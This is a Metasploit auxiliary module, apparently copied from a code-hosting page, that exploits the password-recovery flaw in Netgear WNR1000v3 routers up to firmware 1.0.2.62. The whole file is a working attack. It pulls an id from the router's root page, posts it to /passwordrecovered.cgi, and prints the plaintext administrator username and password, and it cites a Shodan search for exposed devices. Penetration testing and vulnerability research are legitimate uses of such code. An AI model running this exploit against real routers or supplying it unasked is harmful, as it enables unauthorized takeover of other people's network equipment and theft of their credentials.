91 lines
No EOL
2.5 KiB
Ruby
Executable file
91 lines
No EOL
2.5 KiB
Ruby
Executable file
#
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
#
|
|
# Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability
|
|
# Date: 7-5-14
|
|
# Exploit Author: c1ph04
|
|
# Vendor Homepage: http://www.netgear.com/
|
|
# Version: 1.0
|
|
# Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize
|
|
super(
|
|
|
|
'Name' => 'Netgear WNR1000v3 Password Extractor',
|
|
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.
|
|
Affected devices will allow retrieval of the plaintext administrator credentials.
|
|
Vulnerable Versions: <= 1.0.2.62_60.0.87
|
|
},
|
|
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],
|
|
[ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],
|
|
[ 'URL', 'http://secunia.com/community/advisories/56330' ],
|
|
[ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]
|
|
],
|
|
|
|
'Author' =>
|
|
[
|
|
'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
end
|
|
|
|
def run
|
|
|
|
print_status("#{rhost}:#{rport} - Attempting to extract credentials...")
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
'uri' => '/',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if (res.body =~ /(id)/)
|
|
uid = res.body.scan(/\d{5,15}/)
|
|
uid = uid[0]
|
|
print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")
|
|
print_good("#{rhost}:#{rport} - Sending Request...")
|
|
|
|
else
|
|
print_error("Unexpected response...is this a Netgear Router?")
|
|
return
|
|
|
|
end
|
|
|
|
res2 = send_request_raw({
|
|
'uri' => "/passwordrecovered.cgi?id=#{uid}",
|
|
'method' => 'POST'
|
|
})
|
|
|
|
if (res2.body =~ /(successfully)/)
|
|
creds = res2.body.scan(/left">(.*)</)
|
|
user = creds[0]
|
|
pass = creds[1]
|
|
print_good("#{rhost}:#{rport} - Username: #{user}")
|
|
print_good("#{rhost}:#{rport} - Password: #{pass}")
|
|
|
|
else
|
|
print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")
|
|
|
|
end
|
|
end
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
|
return
|
|
|
|
end |